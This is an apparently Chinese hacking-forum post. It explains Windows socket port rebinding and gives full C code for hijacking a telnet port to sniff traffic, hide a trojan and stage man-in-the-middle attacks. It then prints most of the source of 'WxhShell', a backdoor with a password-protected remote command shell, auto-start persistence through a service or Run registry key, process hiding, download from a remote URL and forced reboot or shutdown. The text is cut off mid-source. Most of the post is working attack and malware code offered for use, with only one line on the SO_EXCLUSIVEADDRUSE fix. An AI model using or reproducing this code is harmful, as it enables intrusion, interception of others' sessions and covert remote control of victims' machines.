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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  9XhcA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U|Uc|6  
XTRF IY  
  saddr.sin_family = AF_INET; ]CDUHz  
uH)?`I\zrd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CU:HTz=  
g3f; JB   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QUDpAW  
MzH'<`;BP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MlR ]+]  
-vv_6Z L[  
  这意味着什么?意味着可以进行如下的攻击: 0:JNkXZ:  
OZEbs 7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 intl?&wC  
$b)t`r+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iK!FVKi}  
VaA.J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3vdFO: j  
5+UNLvsZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mpQu:i|W  
=1y~Qlu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kH`?^ ^_yJ  
0U8'dYf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2"c5<  
nl~ Z,Y$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R '8S)'l  
&Q*  7  
  #include Zv(6VVj  
  #include Bru];%Qg%  
  #include _bt9{@)  
  #include    Q%524%f$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q]U!n  
  int main() ]D4lZK>H  
  { Tn9F g7<  
  WORD wVersionRequested; !E|m'_x*  
  DWORD ret; bu -6}T+  
  WSADATA wsaData; Ze <)B *  
  BOOL val; 1OV] W f  
  SOCKADDR_IN saddr; [SD mdr1T$  
  SOCKADDR_IN scaddr; hM[3l1o{|  
  int err; *qu5o5Q  
  SOCKET s; bGkLa/?S  
  SOCKET sc; 56 Z  
  int caddsize; E#,\[<pc  
  HANDLE mt; U8-OQ:2.  
  DWORD tid;   HD& Cp  
  wVersionRequested = MAKEWORD( 2, 2 ); T 2_iH=u  
  err = WSAStartup( wVersionRequested, &wsaData ); ?#Y:2LqPC  
  if ( err != 0 ) { Xpp v  
  printf("error!WSAStartup failed!\n"); Uf MQ?(,  
  return -1; qoZ)"M  
  } ,.h@tN<C  
  saddr.sin_family = AF_INET; EwmNgmYq  
   I9m9`4BK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }9glr]=  
jGT|Xo>t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %hlgLM  
  saddr.sin_port = htons(23); R+_!FnOJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e7bMK<:r  
  { *Mb'y d/|  
  printf("error!socket failed!\n"); 'oH3|  
  return -1; :LlZ#V2  
  } A}}dc:$C  
  val = TRUE; IZ\fvYp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *}T|T%L4)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8_ o~0lb  
  { |5ge4,}0  
  printf("error!setsockopt failed!\n"); i=1crJ:  
  return -1; EJRkFn8XG'  
  } c&,q`_t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oz]&=>$1I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \ \Tz'>[\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tCm]1ZgRW  
f/s"2r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9|[uie  
  { bub6{MQW8e  
  ret=GetLastError(); _!!Fg%a5"R  
  printf("error!bind failed!\n"); 9_?e, Q  
  return -1; ^b}Wl0Fn  
  } \WbQS#Z9  
  listen(s,2); bwcr/J( Nb  
  while(1) X;2LK!x;y  
  { fms(_Q:R?  
  caddsize = sizeof(scaddr); cA|vH^:  
  //接受连接请求 sOiM/} O]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e /1x/v'  
  if(sc!=INVALID_SOCKET) +95v=[t#Ut  
  { bC~I}^i\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5pC}ZgEa<  
  if(mt==NULL) t`{T:Tjc  
  { 1e7I2g  
  printf("Thread Creat Failed!\n"); ek U%^R<  
  break; BFg&@7.X  
  } 3Pgokj   
  } >\3\&[#"  
  CloseHandle(mt); vU5}E\Ny  
  } ( Cg vI*O  
  closesocket(s); VumM`SH  
  WSACleanup(); k#u)+e.'  
  return 0; D6|-nl  
  }   F#M(#!)Y"  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^sFO[cYo  
  { + d3  
  SOCKET ss = (SOCKET)lpParam; pT3icy!A=  
  SOCKET sc; gu%i|-}  
  unsigned char buf[4096]; k3nvML,bv  
  SOCKADDR_IN saddr; .Gvk5Wn  
  long num; 'TuaP `]<  
  DWORD val; !c{F{ t-a  
  DWORD ret; LkP :l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Xx%<rsA>F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   IGT9}24  
  saddr.sin_family = AF_INET; SD{)Sq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); DW78SoyedZ  
  saddr.sin_port = htons(23); [ p~,;%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nxx/26{  
  { &"I csxG  
  printf("error!socket failed!\n"); Dg"szJ-   
  return -1; K)se$vb6  
  } yN0`JI  
  val = 100; y22DBB8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GN9kCyPK  
  { a@ <-L  
  ret = GetLastError(); XPD1HN!,LT  
  return -1; _H@ATut  
  } xy4+ [u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hk@Gkx_  
  { v3FdlE  
  ret = GetLastError(); ^G(Ee+PN@  
  return -1; OXbShA&1  
  } 5E"^>z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'P" i9j  
  { )7.DF|A  
  printf("error!socket connect failed!\n"); &e;Qabwxva  
  closesocket(sc); c-}[v<o  
  closesocket(ss); CswKT 9  
  return -1; i%i />;DF  
  } ' |B3@9<  
  while(1) <F(2D<d{;)  
  { N$IA~)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f7][#EL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R LMn&j|?e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e0(aRN{W  
  num = recv(ss,buf,4096,0); Cl9nmyf   
  if(num>0) ]d@>vzCO  
  send(sc,buf,num,0); gGUKB2)  
  else if(num==0) XD|g G  
  break; x: _[R{B  
  num = recv(sc,buf,4096,0); !|i #g$  
  if(num>0) qy)~OBY  
  send(ss,buf,num,0); +kQ=2dva  
  else if(num==0) ^]D1':  
  break; \`xlD&F@U  
  } %)?jaE}[  
  closesocket(ss); 7>BfHb  
  closesocket(sc); w4Df?)Z  
  return 0 ; DyiJ4m}kh  
  } `o295eiY(b  
la_c:#ho  
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========================================================== xk% 62W  
25-h5$s  
下边附上一个代码,,WXhSHELL 5TB6QLPEwY  
0kOwA%m  
========================================================== ;l0 dx$w  
Z%:>nDZV  
#include "stdafx.h" y32$b,%Xi,  
KNd<8{'.  
#include <stdio.h> L/exR6M7  
#include <string.h> /\h*v!:  
#include <windows.h> ?_^{9q%9  
#include <winsock2.h> Q N#bd~  
#include <winsvc.h> _UP fqC ?  
#include <urlmon.h> o!K DeY  
9 %4:eTcp  
#pragma comment (lib, "Ws2_32.lib")  ;tZQ9#S  
#pragma comment (lib, "urlmon.lib") G%t>Ll``C  
PC<_1!M]  
#define MAX_USER   100 // 最大客户端连接数 @r/~Y]0Ye5  
#define BUF_SOCK   200 // sock buffer ]lBCK  
#define KEY_BUFF   255 // 输入 buffer dp'[I:X  
ceJi|`F  
#define REBOOT     0   // 重启 ?X6}+  
#define SHUTDOWN   1   // 关机 z<vh8dNl  
4,c6VCw3+  
#define DEF_PORT   5000 // 监听端口 Z%B6J>;uM  
ybE 2N  
#define REG_LEN     16   // 注册表键长度 YnU)f@b#  
#define SVC_LEN     80   // NT服务名长度 T!KwRxJ23  
CCe>*tdf  
// 从dll定义API |&rCXfC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ][v]Nk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LrbD%2U$j5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A8Q^y AP^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;VAyH('~  
79W^;\3  
// wxhshell配置信息 ~~h#2SX  
struct WSCFG { z77>W}d  
  int ws_port;         // 监听端口 ]{\ttb%GX  
  char ws_passstr[REG_LEN]; // 口令 [A!w  
  int ws_autoins;       // 安装标记, 1=yes 0=no X]D,kKasG  
  char ws_regname[REG_LEN]; // 注册表键名 T TN!$?G3  
  char ws_svcname[REG_LEN]; // 服务名 9"]#.A^Q*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ucx02^uA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }}QR'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3>@VPMi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zZ8*a\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {XmCG%%L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4F6aPo2  
tj[E!  
}; &~Hed_  
znwKwc8,  
// default Wxhshell configuration c Pf_B=  
struct WSCFG wscfg={DEF_PORT, #6< 1 =I'j  
    "xuhuanlingzhe", OpEH4X.Z  
    1, F. SB_S<'  
    "Wxhshell", j/d}B_2  
    "Wxhshell", y]fI7nu&  
            "WxhShell Service", gE#'Zv{7  
    "Wrsky Windows CmdShell Service", KZw~Ch}b9  
    "Please Input Your Password: ", g gx_h  
  1, +wmG5!%$|  
  "http://www.wrsky.com/wxhshell.exe", P8,Ps+  
  "Wxhshell.exe" =,#--1R7g  
    }; XAU%B-l:  
QE\ [ EI2  
// 消息定义模块 ?Z7QD8N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tz,9>uN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -PE_qZ^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zob/H+]  
char *msg_ws_ext="\n\rExit."; hcj}6NXc  
char *msg_ws_end="\n\rQuit."; tO3R&"{  
char *msg_ws_boot="\n\rReboot..."; )_=2lu3%{  
char *msg_ws_poff="\n\rShutdown..."; ~(QfVpRnV=  
char *msg_ws_down="\n\rSave to "; VE|l;aXi  
:]m.&r S,  
char *msg_ws_err="\n\rErr!"; TB! I  
char *msg_ws_ok="\n\rOK!"; -$Hu $Y}>  
7t:RQ`$:  
char ExeFile[MAX_PATH]; yQD>7%x  
int nUser = 0; SXm%X(JU  
HANDLE handles[MAX_USER]; Mz(Vf1pi%  
int OsIsNt; ?1SsF>|  
+y?Ilkk;j  
SERVICE_STATUS       serviceStatus; ZP<<cyY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^!&6 =rb  
d}[cX9U/  
// 函数声明 v\Uk?V5T  
int Install(void); +1!iwmch>  
int Uninstall(void); Kf[d@ L  
int DownloadFile(char *sURL, SOCKET wsh); rR> X<  
int Boot(int flag); V}#X'~Ob  
void HideProc(void); l[38cF  
int GetOsVer(void); ,|({[ 9jA  
int Wxhshell(SOCKET wsl); kO}&Oi,?  
void TalkWithClient(void *cs); @owneSD qN  
int CmdShell(SOCKET sock); }oRBQP^&K  
int StartFromService(void); T$xB H  
int StartWxhshell(LPSTR lpCmdLine); 56 3mz-  
>CqzC8JF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E[]5Od5#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); No'?8+i  
[X.bR$>  
// 数据结构和表定义 vA1Yya B  
SERVICE_TABLE_ENTRY DispatchTable[] = 3 !@  
{ "d_wu#fO)  
{wscfg.ws_svcname, NTServiceMain}, kt/,& oKI  
{NULL, NULL} s{Z)<n03  
}; MY^{[ #Q  
:CyHo6o9  
// 自我安装 J,2V&WuV0r  
int Install(void) D0r viO  
{ "La;$7ds  
  char svExeFile[MAX_PATH]; [>O!~  
  HKEY key; ?l0Qi  
  strcpy(svExeFile,ExeFile); YA4D?'  
T }}2J/sj  
// 如果是win9x系统,修改注册表设为自启动 '+PKGmRW  
if(!OsIsNt) { 5`QcPDp{z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t;e&[eg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M6)  G_-  
  RegCloseKey(key); faDSyBLo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L (Y1ey9x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5I622d  
  RegCloseKey(key); s<9g3Gh  
  return 0; 6l]X{A.  
    } AI-*5[w#A  
  } 2*|T)OA`m,  
} -zR<m  
else { +WH\,E  
&]nx^C8V;  
// 如果是NT以上系统,安装为系统服务 _v,0"_"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hJb2y`,q  
if (schSCManager!=0) ]:|B).  
{ .,bpFcQ  
  SC_HANDLE schService = CreateService ;A*SuFbV  
  ( &|/_"*uM  
  schSCManager, L8VOiK=,  
  wscfg.ws_svcname, ?h= n5}Y  
  wscfg.ws_svcdisp, v`HE R6  
  SERVICE_ALL_ACCESS, 1@F-t94I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ju"z  
  SERVICE_AUTO_START, uzy5rA==  
  SERVICE_ERROR_NORMAL, h: ' |)O  
  svExeFile, #Iw(+%D  
  NULL, g4IF~\QRVi  
  NULL, lB,1dw2(T  
  NULL, w&p+mJL.  
  NULL, Y2u\~.;oq  
  NULL CL=%eSsuD  
  ); bn(N8MFCV  
  if (schService!=0) [n2B6Px  
  { m8q4t ,<J  
  CloseServiceHandle(schService); va6Fp2n<1*  
  CloseServiceHandle(schSCManager); .uuhoqG0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >t+U`6xK  
  strcat(svExeFile,wscfg.ws_svcname); =@HS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YV O$`W^N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mptFd  
  RegCloseKey(key); #De>EQ%  
  return 0; #,%bW[L<N  
    } ?d7,0Ex P  
  } PsC")JS  
  CloseServiceHandle(schSCManager); $%y q[$^  
} tn]nl!_@  
} 36 "n7  
M.W X&;>  
return 1; T ozx0??)  
} (bsx|8[  
smP4KC"I(d  
// 自我卸载 =8AT[.Hh  
int Uninstall(void) &@0~]\,D7  
{ n5:uG'L\  
  HKEY key; 5S~ H[>A"  
z$~x 2<  
if(!OsIsNt) { F9K%f&0 a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xye-Z\-t  
  RegDeleteValue(key,wscfg.ws_regname); g6GkA.!X$  
  RegCloseKey(key); %~u]|q<{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 50,'z?-_  
  RegDeleteValue(key,wscfg.ws_regname); !nvwRQ  
  RegCloseKey(key); FY1iY/\Cn  
  return 0; 1- 2hh)  
  } n(: <pz  
} mUYRioNj  
} ZT0\V ]!B  
else { HI.*xkBXl&  
hlzB cz*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]3KeAJ  
if (schSCManager!=0) V=O52?8  
{ spEdq}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e;]tO-Nu  
  if (schService!=0) [9m3@Yd'  
  { FK%b@/7s~  
  if(DeleteService(schService)!=0) { G@]3EP  
  CloseServiceHandle(schService); Hfcpqa  
  CloseServiceHandle(schSCManager); Jj4 HJ9  
  return 0; ~k"+5bHa*  
  } '6so(>|  
  CloseServiceHandle(schService); t R^f]+Up  
  } LrB 0x>  
  CloseServiceHandle(schSCManager); x~5uc$  
} R~vGaxZ$  
} d$t"Vp  
Q:}]-lJg  
return 1; 2HX/@ERhmu  
} 0SQ!lr  
~ao:9 ynY  
// 从指定url下载文件 !~ox;I}S  
int DownloadFile(char *sURL, SOCKET wsh) >3 o4 U2  
{ 6(n0{A  
  HRESULT hr; cgnNO&  
char seps[]= "/"; {}O~tf_  
char *token; P}R:o   
char *file; -ng1RA>  
char myURL[MAX_PATH]; o!a,r3  
char myFILE[MAX_PATH]; ':*H#}Br-#  
i8]EIXbMX  
strcpy(myURL,sURL); d"wA"*8~y  
  token=strtok(myURL,seps); G|6qL  
  while(token!=NULL) 77>oQ~q  
  { 8mI(0m'  
    file=token; 0At0`Q#  
  token=strtok(NULL,seps); o) )` "^  
  } c6h?b[]  
inut'@=G/  
GetCurrentDirectory(MAX_PATH,myFILE); vFPY|Vzh  
strcat(myFILE, "\\"); ?Ga8.0Z~KT  
strcat(myFILE, file); {6i|"5_j  
  send(wsh,myFILE,strlen(myFILE),0); ~?Zib1f)  
send(wsh,"...",3,0); PR:k--)D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bo0U  
  if(hr==S_OK) Pv -4psdw  
return 0; r!:yUPv  
else FI.te3i?7  
return 1; O?uICnmi6  
RvzZg %)  
} @]3 \*&R}  
Xw H>F7HPe  
// 系统电源模块 dC=[o\  
int Boot(int flag) t7=D$ua  
{ 2Tp2{"sB>A  
  HANDLE hToken; /%@;t@BK4  
  TOKEN_PRIVILEGES tkp; y|`-)fY  
C}huU  
  if(OsIsNt) { HC iRk1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ; !n>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T{dQ4 c  
    tkp.PrivilegeCount = 1; 0ho;L0Nr'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U^m#!hp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [WwoGg*)mn  
if(flag==REBOOT) { 'l*X?ccKy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H& |/|\8F  
  return 0; %>KbaM1b  
} pMfb(D"  
else { wQxI({k@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1@]&iZ]  
  return 0; ?f?5Kye  
} C'6I< YX  
  } '$ei3  
  else { YxF@1_g  
if(flag==REBOOT) { sd%j&Su#4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #GzALF97  
  return 0; nrac )W  
} t G_4>-Y#w  
else { ASqYA1p.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U1\7Hcs$  
  return 0; 4 m:h&^`N  
} X[BP0:`t  
} R)NSJ-A!2  
!%>RHh[  
return 1; {_9O4 + &  
} =?5)M_6)  
FnvpnU",  
// win9x进程隐藏模块 k:0j;\Sx  
void HideProc(void) zWY988fX0  
{ 0Lo8pe`DH  
 .NOAp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :i.@d?  
  if ( hKernel != NULL ) L(y70T  
  { l=?e0d>O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (< +A  w7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (Pc>D';{S  
    FreeLibrary(hKernel); Fh#QS'[  
  } 7l* &Fh9;  
e]4$H.dP  
return; 2<D| {  
} X^\D"fmE.  
P6+ B!pY  
// 获取操作系统版本 VLuHuih  
int GetOsVer(void) erH,EE^-x<  
{ b RAD_  
  OSVERSIONINFO winfo; /,\V}`Lx"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -^_2{i  
  GetVersionEx(&winfo); VF`!ks  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fyQOF ItM  
  return 1; (b25g!  
  else {&5lZ<nu8A  
  return 0; m8sd2&4  
} .}==p&(  
f-%M~:  
// 客户端句柄模块 \jfK']P/H  
int Wxhshell(SOCKET wsl) (/:m*x*6  
{ {JE [  
  SOCKET wsh; IkCuw./  
  struct sockaddr_in client; "6B@V=d  
  DWORD myID; %8*:VR  
DY2*B"^  
  while(nUser<MAX_USER) / VYT](  
{ "&6vFmr  
  int nSize=sizeof(client); eF+F"|1h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'f( CN3.!  
  if(wsh==INVALID_SOCKET) return 1; X1#Ar)  
N/tcW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E)-;sFz  
if(handles[nUser]==0) 7zu\tCWb  
  closesocket(wsh); ]8A*uyi  
else P< OH{l  
  nUser++; E'x"EN  
  } M9iX_4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #,#`< h!  
SBxpJsW >  
  return 0; #pvq9fss,}  
} [F6 )Z[uG  
'K7\[if{  
// 关闭 socket En\@d@j<u  
void CloseIt(SOCKET wsh) r=Xo;d*TE  
{ ebBi zc=  
closesocket(wsh); r8 9o  
nUser--; _vTr?jjfK  
ExitThread(0); .W{CJh  
} 8pnD6Lp>  
*w0!C:mL&  
// 客户端请求句柄 >7W)iwF  
void TalkWithClient(void *cs) wAHuPQ&_Q  
{ JSL&` `  
}#ink4dK:  
  SOCKET wsh=(SOCKET)cs; @2E52$zu  
  char pwd[SVC_LEN]; )Cy>'l*Og7  
  char cmd[KEY_BUFF]; /a\i  
char chr[1]; u@Hz7Q} P  
int i,j; 5} %R  
5zK,(cF0-  
  while (nUser < MAX_USER) { 6kAAdy}ck  
=@U5/J  
if(wscfg.ws_passstr) { OBWb0t5H?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'I,a 29  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +La2-I  
  //ZeroMemory(pwd,KEY_BUFF); uE1;@Dm+  
      i=0; )+N{D=YM  
  while(i<SVC_LEN) { , >7PG2 a  
L3b0e_8>R  
  // 设置超时 (OiV IH  
  fd_set FdRead; CnZ!b_J  
  struct timeval TimeOut; u8c@q'_  
  FD_ZERO(&FdRead); Sr \y1nt  
  FD_SET(wsh,&FdRead); 2"D4q(@  
  TimeOut.tv_sec=8; k A3K   
  TimeOut.tv_usec=0; t oGiG|L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w[X-Q+7p(t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rl}<&aPH  
KKC%!Xy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F!z ^0+H(  
  pwd=chr[0]; 2E1`r@L  
  if(chr[0]==0xd || chr[0]==0xa) { f2e;N[D  
  pwd=0; D$>!vD'  
  break; 8i',~[  
  } I8XP`Ccq  
  i++; ^6 wWv&G[8  
    } sU>IETo  
,zgz7  
  // 如果是非法用户,关闭 socket ,sitOy}ks  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o< @![P  
} rd7p$e=i  
-Cyo2wk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {py%-W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O}i+ 1  
_eGYwBm  
while(1) { C:J frg`  
YrnC'o`  
  ZeroMemory(cmd,KEY_BUFF); DgT]Nty@b  
5Npxs&Ea  
      // 自动支持客户端 telnet标准   a,w|r#x]  
  j=0; ;`oK5  
  while(j<KEY_BUFF) { fg LY{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NVRzthg%c_  
  cmd[j]=chr[0]; ^]sb=Amw  
  if(chr[0]==0xa || chr[0]==0xd) { e,|gr"$/  
  cmd[j]=0; /3M8 ;>@u  
  break; 5n?P}kca)  
  } 'LMj.#A<g  
  j++; wQG?)aaM  
    } =mXC,<]  
$wAR cS  
  // 下载文件 Ba[,9l[  
  if(strstr(cmd,"http://")) { W yM1s+@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fG1iq<~  
  if(DownloadFile(cmd,wsh)) # >k|^*\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X\`']\l  
  else L2>e@p\>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Y K,&  
  } &{e ]S!D  
  else { ulxlh8=  
U;W9`JT<.f  
    switch(cmd[0]) { nF'YG+;|@  
  P!]uJ8bi  
  // 帮助  ,]EhDW6  
  case '?': { F `7 v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g ` s|]VNt  
    break; 0!,uo\`  
  } =.z;:0]'n  
  // 安装 Wxj_DTi[1"  
  case 'i': { bL xZ 5C7t  
    if(Install()) a Vu!Qk=Z/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SE\?8cs]-  
    else d3:GmB .  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  2yJ{B   
    break; IW~wO  
    } p{5m5x  
  // 卸载 t8-P'3,Q$  
  case 'r': { S46aUkW.  
    if(Uninstall()) O[VY|.MEk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O &<p 8  
    else ]L~NYe9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F ,472H  
    break; >OaD7  
    } d@ K-ZMq  
  // 显示 wxhshell 所在路径 O2>c|=#  
  case 'p': { }@q/.Ct! x  
    char svExeFile[MAX_PATH]; o6vnl  
    strcpy(svExeFile,"\n\r"); opa}z-7>^  
      strcat(svExeFile,ExeFile); MS\vrq'_  
        send(wsh,svExeFile,strlen(svExeFile),0); ?=9'?K/~a  
    break; 4`i8m  
    } )I&.6l!#  
  // 重启 n725hY6}<l  
  case 'b': { +vy fhw4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FGi7KV=N  
    if(Boot(REBOOT)) U5kKT.M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ['o ueOg  
    else { 94-BcN  
    closesocket(wsh); +4-T_m/W/  
    ExitThread(0); Nbr$G=U  
    } 4fs d5#  
    break; 'yPKQ/y$x  
    } 9 " q-Bb  
  // 关机 hY.i`sp*/  
  case 'd': { 3q'AgiW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d~~kJKK  
